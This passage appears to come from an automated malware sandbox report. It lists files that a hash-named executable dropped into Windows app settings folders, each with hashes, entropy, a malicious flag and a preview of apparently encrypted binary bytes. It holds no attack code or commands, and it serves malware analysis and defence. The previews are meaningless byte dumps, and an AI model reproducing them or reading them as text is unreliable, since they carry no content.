SHA-512:	3600FACD5CBBB9D1A65142E6032658E3B006923145796508E77C373E4FD565E19A168E2CFF7040A47F875ACD2F8752CC8F7F590BC42AC940CD47862A643125F6
Malicious:	false
Preview:	regf..2.~..RR...X.$Q~g......./7..j.Lt\...T=.S..z+]G.K..00.Z..2....`z...-..........2... .G... ....n.6 BH.......c$1T..ym....NX....J...L2....A..L/..X..V.y$.%...]..;m.4.(...[9....-...l#:?....@......i1....@.2.[:.r...cYq;p...T.r.n.$[H7.?.mC.p...X..0.....M.?....V+.zo..H....G....$..C.b.D$s.S.Bp..u.S...{.{&J/...l.a.N..^lRG...C....~...R...3.gG;pj...d...%...~..1..).U&.~.3...X........8..LH.!O......n.w'k..5....)1(.u..t....i..G..K.....oF...R{.o....&..r.......U7.e.._.....k....r..l..R=..R.R.K.!<Ub.y.B.Y..n...'.Fa....;.......O..n.. ...(...af2.P..((...65........?...t.B]..?........"RU.......p)4...H.<.....,5.&...e.w$;.M({.b{...3.V.`.y..T....$m......+.#....k...'C.R...YX.....(.ZX.<.......&......(..M..9+.L.L...3FN-"...#.y\|.2...&....:..^.=...........hy....$.MI.H...2..mHX.........aV.......n.....];.$.$=YR{Z/Y].Ov.%(....(...:.nPlZ.q.6.S..-;.....$z..G,.$.[..O...F.v.].t.Y...(..fg.;.EV...5...Fcm..i..AN.......<.8zg.P3...y..M....Oj5...\..~.n..,.C.J.\|.....0.c.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977831022866984
Encrypted:	false
SSDEEP:	192:xk3H8miAuT2vItfdxBL+7B+eqmvh/xtLjzO6So56P605Y:xycmr9UxBL2hZtlVkP4
MD5:	E30D48CD6372983C16CE94EEB0ABA9A2
SHA1:	E2F0E00DD26DE88B18669FE1936C607D8A12CFB5
SHA-256:	0FC51707DFE821F395BD6756C62010A52E124951ACBD03A09ED33B636FC9F048
SHA-512:	B9D233C0E7678BB26993FA4C00FC38360AB752F061F4F26179072C52806AAE04C7BAEE2882F851E9D1B4AF2EB7481FEB30D5DDCBE6F6636235F5A3D38AB61C54
Malicious:	false
Preview:	regf.....f+...Ez...C.a....y.......I..}L>S'v..._=..K ..8.`.....F....^..ei.C.S.5.'..{.'..m......N.".....{....Xt1.r.-b.>.gOw.S}.._.7.{R'3.GC.$...C..d+.-.0y..qk&...T..A....!NR.2._/3........es...x...X..G.Rf.C..>C&oKD.C....}.e.Vj."........Ux;...G.2.gg[.....Z.J.......A.<...B....{.....f..;..0=..\.....]W...?...+...).2..q.!..P`#.Ov\|........P9WG.E.?..1.4b.b'./..a>\|6.9w..@.X...^'B#...!.,...y....%=.W......2...(,Q.a..w..../&.l].\|$....$..w,'._T....d......)...W...8..l....x....n}..cUB.Q&...!n........ad..}._(.....t.......XS.lJ..y. A?..s"h...z-........jt.M.Y.Yx0/..........0F$g..R...>..lq...........p.......l<`.....44.......Y.7(...(.i....[p.....\|Q..!.XK.F.:\|....K...`.$...P..V{...Z..>.....4.Z.$.r...p..5...i..(i.!.?P.^......z.r...G.#8.=F....o.2...:.o.V....RL\|.U......%....INU.c..i>...3...m].T.....`.Z.p.7w67==(..5....[.v...pV.+...........\|..}.....I.T....`....A..v...:[.q..Gen.....Hm..w..\|.c..?..LuS..k9:O..>N\...9...:.. ..].....}H.........wqZ>.c.-.hxO.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976161312010913
Encrypted:	false
SSDEEP:	192:+jHQ3f90OzI4IdNoHV5Dz7bYISm5tXhSRBOt:6HqiP4iN8tHbYISm5t4RBU
MD5:	C1FE37D1B259256D8470F4273536EDBA
SHA1:	2CCC09951CA9314E6FEACBFFAC899CDAFBD09C70
SHA-256:	89CE8C614274DDB5AD6DB2EDF28699C91FF063F909D0426C79E1CAD211D29780
SHA-512:	A9D7F6BF452FAE35D0ABC148F84E398C781EC2B37F13541A12079244280EB05184F3349C81AFAC8EC9F1E50BC475C4230506C4CD1A56F14EEA474F3117114D09
Malicious:	false
Preview:	regf....P ..$..Q..{b...T....w..gT...U7.e.w..v.B3.........x#...@..]$.P.`.-..z.WtSV.G.<..........0^J.@.........+.b......>.Xn.s.....fR(..Dn.?.#.O_...eA....c......].z..qg..#h..4...X@..<.!88........q.....\|...Ej.S.T[./......J~.5...........@..../..v. ..6.x.-..I...OP.W..&.....Q.1..l..a...M7.]...j........~.l.....Wt..@...h...l8.J.5,...0..+..1.t..x.........w.j.f<R.......^nc.^....c....~..{._o.C@.....3...0..~...'..Dj...........N[.O)....8wwvfU..>h.6.4e.m.%H...L.5...w..c...6Z..m........nu......1S#.y.X$.?..T...=F..?....z...t....].Jm.X......lU/l..vX.\.....Sj.@...;U.E..IV.W.!..v...Z..$.-...%H.59H..!.'.q.;.k...N..I....h}..[.c..hJ........ku..v*"...5O.....d..~...=...Y3.L.8.._.f....U..p.j...%......U..;Zy>.h..{T.. ...f.b;.>....y........L...'d...$.LJ.G...H.mZ..$".>.l.w....w..!...&f..hP...7...G..."^4.,<.._.gr.....5....k-...%...(..R.....q...=B.._.5..+.....v.(n..[`..T.2.i....[`.....r.X#....8..C.......\|\v.7 ..5.....{......A.I.=+..1g..1.A...f.4.sX..L3...S3..1..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	38786
Entropy (8bit):	7.995844700175372
Encrypted:	true
SSDEEP:	768:WE0gpi5khDZ3ITl/FXLHrdPxzyKh41FXg8ULdHddmMZom1APR22P:WE0gAKdlO995OKhmeLd9vcl
MD5:	CEC419B2AC9A8AF34049A2734539A94F
SHA1:	9D89F54909E8B08F50F4F7595DAFF15D78660B32
SHA-256:	5F62B2F8CF71092771078F01C2D3EE8EB3313C6DC4BDE9B49AEBA0D32917F880
SHA-512:	6083A70C8F2EA56297DFD543FE06FD7CB23EABC10123504252E07266DA5827DA01A15B56CEB1424A9CAEA7A5C0B51B7F6DE3605C2ACE6D332F47791023384993
Malicious:	true
Preview:	j...U~._...:~TD..}...$..J....x..IL$....g...P.uW.5.\.bZ.n...&v.{.Q..,.y.t..d.3...W....T.[..._l<..0.=.y.`...}.....({L6.IT...~~cw.e.{e...s.`%.F._.....}.zjKJ..vH. ....q.....>.........I.....M.....O.h.w...i...mD....g.W...@.....i}t.......}s.Y..>.c..#..d}.2..:.HR.Cn.......+...0..6...9..u...E........i....s....Y6...wdr.6&.P..k..8.j..p.dl@..?\|f....~OQ./....QA.@.I.:.3........'fy"....5B......"..P.~...t......~..G.....=(...../...9!}...^...S.m..h..l..Dje..&...W^m..........@.`..b.....[...X.t....H?.w....}....\|..!a.....=..i..E...>..k.3....<W.B..%. J..l....._7.2..Y'M...........me......~.....p....h..0.._A@-EJ.....JZV...]0....z.....w.....qI..8.....o.w..Q-.\|..........B.\|C..KE0.,a`h..O.).AA..oY..X..R.."u$..\|....A7.../...u............+.d.G7.....\|..Rk._.&..S...Y..v.<~9...`..TQ....]i/j]LB<..k.._9.Z.cP...x.aU.w.5.84.oV.e.*`.].l...'.....?...i.#a........<...b..g..$..H..............9..iS...[......h....S'.VY]a2Qb.[.LW\|..+.....!./.O...Z.....b..d7.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979348478350823
Encrypted:	false
SSDEEP:	192:AGqkru8Z1okn5buX28OUI1RqHfVDpuW6jC/NVXS1oew:AGNru8DnlumxU4AtDs9jANVXSWew
MD5:	E7E68EE50C9E80C03E9E20CB8322F949
SHA1:	77CC78A23C01A74B54A2EE5EB0A9907EFBC316F4
SHA-256:	BCD03983225B0B7837FCB33431CC6B7C893DB2D11433E395D569C1F7E109783F
SHA-512:	C4C6DE8C7C668B974A4C46A626C0E692B4D0B5307A49D09B0729058A41BAC49971A65E4DFB7E5C4660AF5E66B38A539B677965C5F8140C36499B8849E9C7CB15
Malicious:	false
Preview:	regf.."z?S^........$2$.._"...B.....r...E..A.VI=58.s.us.3'7..W.(...g...-..]........c.[u.V.G..JD..8e...\|.5zF..[.R!O).$.....+....X. .j....(.(T...."..Z.7..T.IR.+..8'.\...q..k.v.....lt..H.R5l.......n....zj&......L.es.......:.=F..V...ecj.[...r)........\|G..4..?.Pbg.@sW..v4WG......(K8..$.. "\|G....Cx..r%...../.h.....`...h.o{.lqL....zp..R..Oy........ED....e..r..{P.....o.0...G...[k....{...}e...6W...?.C...R@0.L..@S.K...D}.....-......Lv..G...X....q...#..............06 U@$...v.....H...\|z.M...J2..!.fF..C.....9..{.@..n\....x.C.H9j.izV.cf.pF.cdfR..K>.k..Q..5...M.LQ$TN.=....Y;....x...5.....XCQ...[G.z.F1B...]....Q....v..@...A'..s...q....`@LK.<l.o.k..O.. .2.#8......{J..:..sp.b\.?U^..A..?_l......2.!_.\|.b...~6..&x.~.e.l.`...L.q..Gl.T.~k........[....^.....(...'...uh.V..l^.g...L.T.......&.8SE..F..6...Nj$.(....U....o8.y=.....F...Z.fl..1.KTP.z........j{T..m_..p....u..~s.v.4.s..%.. E.. ...ntQ.c,...YQ.>......v..0d@......-..fT..1...I.5........Ka$..c....u(.oK...5!eL..2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981886892009931
Encrypted:	false
SSDEEP:	192:dtj0GhMDEnd+6KtJ2aeHev+62Fv8ofsBWq7ZQtNP2gt:70Gpnd+jjeHu+6Q0wsB7QPl
MD5:	AB1F63095C99BB5805C1B21CEF6B0956
SHA1:	ABA5BAC0D83C2639657D09E3245B972B27C9A54D
SHA-256:	BBF55B86F63F91F72A30C38EBF80BFE22FDCC96078C5E5A850F52C466D9B7076
SHA-512:	3472573DBDB0120870B1EB8E645AF37E9F6FDD2DA3E8866D6561E0C481BB383B713748C3D9B6B79F970B5934409FFC6983FC7002C94F547548EF950FAF432574
Malicious:	false
Preview:	regf.P....-.9..SvR...P.E..A.AL.P~.eM(....... ..sL.%I...U.\|..3#;...h........!..#).A....=1..$.qd...L.A..5.....H....Oz&.B.9.C..........S.p..9o....1ls<_n4....>.[....p..a.......D}.j...o...m.qy.v...p..fM2..q.l.wJ_DL..4..... ...!.^._.i..z.%..e..U?......r<.#...@7.....k..4.c./...A.4Ld....d...\|fR...m..o..M..K7....ECo.\.8.W...[-g.U.u...hd.}.=.p=f....<...8..us:>b.t.?...OPR.....A.Mr.?...\.I..fw!.W.a.h4..so.F.l.E...?...+E..``...Q/Qy.....x....6.G...BF....7..y..#.....g_..[.B....2}...K.......B.g.YAg. .Q7........4u.m.t.....y...2K.RZ.;..v.....h.....z....d...d..S...:...E}6.-...,..\U..I.E8.i.sE....?H.m..?.9...B..wJ.s....b.8.1........q.C........b.+.Ed..BWU.#..#<F.../d...........Ur.y.4..o[....~.#2.....}..R.Flq..qwX-..u.%...D.4....o..K....#].^...G...:....X..m.:......>..WL.u...{T\|...F.~...4[...loo.>{t~VS.]t......3.z/..Q"..:ye.....~.9c.AjM..~..L.}.....K9aDha.6....-5.....4.7......,.jF.QD......?}.Tj:.8.#.a..V'..\|.d.X...z..t.^[. 8iR.B..q81YE....>?EE.KKE._.,(...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	44550
Entropy (8bit):	7.995714063675533
Encrypted:	true
SSDEEP:	768:LKKCP3oXKJXnl1PnSEIon601aV9u6z/FKwTuSAGZ2c3UOJwNWYqYqv8l1jfOQtx:LZ03UKJVd4o6Gaym//nAA2ryYqv8lNf1
MD5:	E5B893FECE47BAAD3684F5458D4061CE
SHA1:	624E86A5107CAB36C3CF4091959DBC44C9BF6C34
SHA-256:	D5F3D3F3DD04F4D4BEF91BF50CA16C5405DE65CC207EB52DF38F518DB886A25C
SHA-512:	1F01E6A897BF1111AF31D2C8881764C8EA31E7A21351F5323185EEECB35545DABD230B56D97F170799BC05011CF9372E0251A67BF469F5BD821CE2E11FF735E1
Malicious:	true
Preview:	.6.1A..z?.Z...).A'>........Vd...V@n.n.{[..x..a-.Q&0.....b..m...Du.....C...a=\|7l.1.Zi....'l.r>..!....4w......M?CV<[.fg.._\|. ..).Pg..[G..H1F.K6~.......t.c.L....Cf....r......P..<.....4.I...f:\g..J!......!.6`..1X2..?.$......y'...(+jH'..@hP..32l..!U,S..'.xC...o.oTo....{\..F:....x..M...-.'..]x.9j...'.jw,.!.0...t'}..!....`..8v.;.I..}//.J-..[n....ha]..a....LX.W....%EJ.:......xu5z&...S..`J.`...........zHw...y..X.,.1...@....F.../.^8M..1...=..W7....t?.D.="\?....~.U........+E....n.}...>j....;z......rL.}.ZXLX..S..(p..O..}.2..2.....\....)z..\OZ\(..C.,..d...R.v&(`.IO....D.5..{...w!.%........s.W.x....).[...wy.y8.{.-H?.r=.'{.v..L:.8....)peQ..........Vt...."..DZ.....KBi...6.e..C..udQ....RXUJ..#_.....J^f...:.....Y.Cw.Vr./....;..).8R.....QO.O...I'..Nz...{A:..~......f....w....y...!.R......".I~....XE7..gF."..`6s..RCl.<L..C.l.&...e......%.v...FX..L.G..$.va.....7...[.Y.EP8^.....%U@A.."..k....i)..Gu..D....Jv`..9..>.h9.\|...2.9.}..;.S.(....F\|..X.@4N^.O........y@.[.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978702105292524
Encrypted:	false
SSDEEP:	192:vsDOFTHffjqH6OJM6fcR+6aXwxKSQhy4Nn8oGZpMx0w038a8zf77NRL:DTHf7qaOq6UR+6agQhyPPQa8zfNd
MD5:	55735B96D747D0A4B95248D7E2BCA31C
SHA1:	4614919567DD56E5FE415D502CB59B549E4671AA
SHA-256:	15B28C65A8E84B4238A4BF5F631B42595E91FDA4F8BB4EBC31C1443629772B56
SHA-512:	2FF28727247138CBFDDD77375B44691A79C92A672D18309BD2FBF97F29EDD6F019D7D8FDB16760387073C41B8CD7E0E3AC8C385BCD51CAD6C5BFC0D7708F1E94
Malicious:	false
Preview:	regf..x....p.H.wN..k?ji.C..'.i...$...&h..,....B..:6....f.-ln._<,.....R...~.n)[...y}.b9..Z....l..!.U......q0%.v.0...qQ......C...).....l0...G....p....\|...r^T$.)N..X.... >j.b~...9........U%HciZe....H.C...jW}8..}...Z.X..q..t.......U-.....:...vy(j).W.&...1L.C.2...y.Hu8I.....%.n.. ..q.".K`.J'u...@...n.ay..l.x]..r'vJ...#.".r&....H..2.e...].65.%.P>....Q.S....z1n.z.R1!Y%.8..tr.or..j.)...`..`.. .5.E\|.....RH.P@uUi..........X.i.bb..<.x\.....i.=iTs....s...u.........a......]L#j..q...[..Sa......=.^R.p..v.".q..6;.E5...@....#."....X..Iv`....y..'.........i.%_Lpu.)..u....?...Jbg ...\|.@.l.W.W....I8...X;..M....O[E".o..7.P.%..*..R.....l8......6....t............. c.C.6..QGWt..0 +..j.....`..#K...XO9i\E.~...2I...V.1I..3..1.....D?c..."K.......n.=9{T].Bh.'2E..XT,.f......>..mY.......i..#9.F.Kl.z.......V...;S.D..v.........PO..!\|.u.c./N..OZ........,...=9v..R(..5(......`.XG..1...T.,......_".+^.JN.3.S.\..bG......C....Q.9,....q.t}2...if.v.....F....%6.....?z..n....J.%,.V..z...r

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979492351499663
Encrypted:	false
SSDEEP:	192:jUfYRhHBa7MnSUq6uR8lpIhyebwHCK8/ld/OCM:vh6MnSn6o8l0yex/lk3
MD5:	7B5DD37524ECF2BF65FDB6FA4490BF33
SHA1:	0D6224A9D5801E93AE3079C4E7C73C2D54210A78
SHA-256:	FF9377C319B717997960C1CFAA02FB65EEA784985E79C88F3EF224E1CD53BFD5
SHA-512:	A99054D36C46CB7B6984F18992C00C8E9B8D292A34850BFD249BBCD15B2B75F6D0285FB235EE0698745DCA4E4815CCAA8BB93D609BD62048DA1076152A6AD619
Malicious:	false
Preview:	regf...p.m)W...@I.%H.j........tCL~]8g..R;..]..{C...............,4.]..Da...`..].3..X..H.+V..iyve.V......o....3y^.K.E...`g..x5RB.y...#...H?..5.\...Xa.'....9..3...Rn..`....V..-..PW............h.p...M../^...K.%..]....5v.0..vm..... ..E.C."'.lv..f.....e.G..l...!<..NX..8.x.....9.9........,+...0.d..QE.......)..1.N......cm.R.).'pY.V..>....@%<j....gt..U...%k.e.n2.....N...,o...h..ot.\|GUS?i].!......m..\|..:..x].9..a.$C.:.$m.iK...........M..O......?..m..G...&".T'..^.\>..N.@...H..)....P/.2.H.......}&8.u..<.M.s%"...V.7.H"yw..6..'&.;N:]5j......OG..}^V..}.M.`.Eb..`..p..\.O.rK....4<..{.Z...?...v....S....eL.gb..O...{..P. .8..eh....d..,.2).Z=HO..m^.'........e...zq..(.&?.n..m.../8.._...T.<...{...u......4....M..+.H...r....8.\| .X..:.N...\5....(..t.98*....lwB<Y6..uY..\|..'#....v...w3bP..7...2~....$1#.......H..+.j_.BK..}'....;b.........v.h...4..D...w.......ia...i.u.F..D.3...Bj..KA....T.\..._..\..). ....C....g1.....Xi.:.$..J.p[@..>.{=...:V.....l..&...

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976530641272375
Encrypted:	false
SSDEEP:	192:gmlnmPZlRrgcII1NHZ3szpXFzdm2cPjkyxFjNgwZ5N:Rlnof5TIwNszlxdm2cPYyxF6En
MD5:	F05E1EC838AC038630181546E9F084E3
SHA1:	81ADABFF4F0E3A0E53240B6CCD6053E79E4DA83E
SHA-256:	886731753E33F746EBDFF600678A0BBE0481F490F4EF5D278AD2B86C3BC261F3
SHA-512:	D8701B3046C3C241A99A2FC74BEE144AD4FDFCA594A3FB3F2F758F70FDFBBE4EB9160B69E918BB603B30E342579DB1B16ADAA7A3507B6EF3332589689D17B90B
Malicious:	false
Preview:	regf..p.)..V.`sd.......Y.u......R..1..r.HL..v...g}...s.BS...x?(..~.....`n(...g.\..._'z......r<..+.&...G..+./.!.5Z..(P.-....F.#.$D._.Wr.[({j.9...g@<..kb.Kg..A..=....>O3Q....-M._.....:e.N...o...o...L.j......w....>z5u7...C....\|o.E"...E....w......k ....y....{....f...o..0.....U.>$...._...v v...Q(Q .v)z..o..H.....3.....)S.f.6..G..%....cL...,cn..%.m...,.......r6fP.._...3Y..,/7..T....0I&p.V.O}e..;.d.e...T..m.Ye....e-b......?L.\|.IZ..\|S...]...`z.gE0..n..k..i....V._...x....s.z..f...D..j...,./8>[..O.....tI..7p.l.,[.&....P.i...L9A.....x...."x.9......\|.Ey@I.........x.>...$D..QV_...v....N ..7M..yg!4...70+$Xe;d.0..+.\|.....7.."..X......u`.9O.o..7......me.Y.(Ao.\|..+)...j6)Q:.nU..f...K.R..<...xA...xX.E...!....H.C..[..1.L..)....{...>.f..?a2u!..r....cS.m.g..@.+.e....9...;....g..I(.T.f.Q..I......dR.nuN..J0.\.4.TrT..C.6...9...a8..h.$.s...6kk=..p9.'.W..4."...a...!.]X.g.V@._.B.Z9..N.......s... ...b..,...Q.f.......{..=i.....+..zG.6........x..{H...^..b.

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978105706008211
Encrypted:	false
SSDEEP:	192:pJnykBrwdIEv3v5tIPW9mhVfa98NLSrhLGDf+zomovwb:pJrBwdIEv3RF6a2ZStLG8mC
MD5:	877CE90CD51F3E2F1C1CD0410E37E878
SHA1:	5B8EEDAD4F5289B3452AD88973DA192F5CF4A969
SHA-256:	6B729F0B170B01FA66F88D6B6CD275157A29FC79E158D03097DC552A958C0344
SHA-512:	9F41DCA94BC29A652C1AEC3626639C1850CF54CAD1D06A5A219CC00B6C5F00213683FCCB0DD15CA9A0388E9CF7C90DC3ED5C1FA8298D07288408A0119F5CF664
Malicious:	false
Preview:	regf.:.........6.gb.W....?.`eY...Yj........2.1.E.A.../....rv....3...Y..M....%....:oW..U.d.d.~....}.VrO.O.M..........`..K.......6..w...R.90^$.....j..YW.&.YA^..Nt...w$..Q..."..K.Gc..0.(U&.;...h.wc..F.5.....r..C....t.../.....I..h.7.....a..>~fr...0....B:_.W?..H.-0...wz...".?.W.E.\|......5....2...['..>Q...g...v.q....'E..4.q..zS.!.k.flG:.\.......D<$.r.c....Fx.8...r5~uA...D_mD...1..v..\9W.YOD..RE.n...NQ.L..S..%.....m...yq.b.../a.....K...^./.............s..QKyT($........bh.i.1.Y...XP).HB>.&..F.u4y........Q3.#.(...iv.[.?u?zv..Do]..4....F.......t..b.c#zf8....q!.j....\|.?_..v......$.I)a...ic.tP.1.;......'..T..)[...F.62......K.\..fv....{.;h..w#......H.,>^G92....7..Q.j.N..{...cbe.F{f..B;A->...vlh..?\.)...2.=...`./.0...>Vyx=X...6.D.]..K.W..e.J.3.......N..<.{..};...'B.=_...,.yR.^.@j.'......y..a%.t.CAsa.sQL[jp0.j.y%"B.2L.P...-.....}..6.V...w..Y...GW.Mi...?;.w......64...ow.=o~g.<t&u.M.+.t..%Jb.7.^...a.K.iD(...C{..J..IX.2....@D..Sxa@....G.OZ.nE".L.a.p3..i

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980180508876192
Encrypted:	false
SSDEEP:	192:OHOFP2oYgmxS1vKkan1QNpYXfhi4ie/jUbz:OoC3Ale1oY5Ke/U
MD5:	21F849BDB6D65B0A9FB367945F380826
SHA1:	1F97F9CCC6868F68614625FA4426AD9BED94ADBF
SHA-256:	6D4AF16601A3D7312DEE5534CAF8AC1DC25DB0DFD28399F85E2CD564A2811594
SHA-512:	EB14C36C5E39F3F7AA17DD84698D65BD8270EDAB7C9CFB28457C9139B9ADB01438939AE1FC62C9A784F4BCC77174FE8DE5CFEC9396AA89C735680D9738AC898C
Malicious:	false
Preview:	regf.z.i.\.t....u...;....o.\..:................].7c..?R...;.O^.I.x....g..z.A([......{..N/...l...g.....`\......;..t.K.I..v.@3...rU#.'...I...O..H........t.d......l..aJ.....Y..8Cze..........R...n.Q,).......S.K=..-x.\kG.aI<.k...A..[.}}.!.&DX.rx...."N....g.C{..Ke......i...kM..(nx..../}...m.........b..B...f...SZ.Z.7Q\|T.O...+..d...8=..c8z..\|..7.....U.^...#)..R3.JW.h...!8$n......P.....G.t..L..&...;f..D................L.pP4..6....j .C.....X.`>..b...!...h.......s.e.}..p.N......T...6....e...Qaen...i.`.1..o.v...o..=p..{.....n...k._oD..w..}z.2K/......Y.#...b.H.......9.....a.]..j.3.4v.*=....F..U...gN.&;.........;...8+..Z..vOy...h.Bj...G.7..1...Y....!.....b..L.K.....B..{(/....;...........v..Q8.0..!..;...T#........O..VG..[.j.7o...0kS..E..N../.=.}o.&...z8...[..Z..n..].+g...3...q?.M$..+.&D..i..p.Ck.:.H....`...-........-.Q.F.0..t....h.x...t.b.1..2.9u..'J.\.k..B.._.k.u......\|..T^..X......T..J....{..].{.%.:.=..yf..[^..G..>j..\}.b..p.C(X-6!...(t~p$Tq.

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978652907633637
Encrypted:	false
SSDEEP:	192:azDt8L2UPRNOgU0wTma+EtKFWV6sSx7SfGD:rRNlE24UyfGD
MD5:	8E2860C62976D641BFF882D4D5B64AC5
SHA1:	63C3CB375C8048571984B691C8EC8A74DA1165D8
SHA-256:	7652F4E940C93CDBAB81FC18225E7011D46707F2F64457EE750DE44DA626BB21
SHA-512:	0BD622065A21ED2C1399E7909619C1B6031DEA59487FEA0708BFA19C17883C72BA13CA0F97E8709743A8BBFEE8CAC04E3016922A8F1DFB30DC3DA3260C3840CF
Malicious:	false
Preview:	regf.T.3..F.4.;..#.......!.+9..h:..3..iq.\..<..e..Z.If..m....[..u.?.......T$.o....!".P7.....&.R..Oe'....~X)...6..X}$@.Z...=...l...f....f.v.XHT.e.l.:.p.0UWf.o...?1._.... (....#.vX.1.n.1.Y..'...9...Vl8T..7.$..$..../.z...X.X....<..gZX}6.....9...{....1.....O.(q...s}....\j...=.......8...m...o.Xz...L..../..I\|.gA...o..E./"a...J.sU.U...-.....].v1.D..ZF..$D.._......:c2.p..LFJ.....T...!.S.UF......)O...B..!g.S_.W^.j..?R.....\c....Lu."..A.._.(.`...E...k.E..7....)..]}.....XH..H....Z.i.X.A.9d.J.\|..a.sY..,.f..~.....{Zbpb...t..Y........N..}G'..du........!.PDR%....h2..5J....^....;E..0.E..T...!........8..m...M......-#-..J;.?A.PS...!.N..b=.....E..fj..f_..1.k........a.v...M.<o.........k;..q.'. ....9.......N...q.<..\WU.$..JW.T.9....r9.a}...r.'.<3s...s...(.#Y.Mt{.....5..e...\|<.O.$.ZV._....5....uuHUK..l..w.#.?<.&.'{..R.9..6d..7+.D./......vRxu..q.....V...B!(..}...~A..9C.JP.....7b.k.......o..j......9..xS...'P.E..7..TJ.@.:@1K.S..#.y..un."..cEs.*u..#g..@.

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979299381285984
Encrypted:	false
SSDEEP:	192:MEPsJWwLY6khQYNpkMCO8MAnS1K1OvdBecACjhxH5pim6:WJWw1vp1MyS1KagcxH5q
MD5:	06D19DAF7A0CA0DDA6AC86B572F37456
SHA1:	6CC8F14FB2582DABE015E66A8065E2B39BA6CB1A
SHA-256:	99B8AB503B5CA0B18A71698AC44E03A214D597DBE38404D87B307E1D2A25463A
SHA-512:	0218B2E757539C5B255B909CB737C49C2030C98884DA32C168125829F4F252ABD2DB63994383F75D876C6B5EEB0C1D14D44AE3D41E16770C67916E356C21C6E2
Malicious:	false
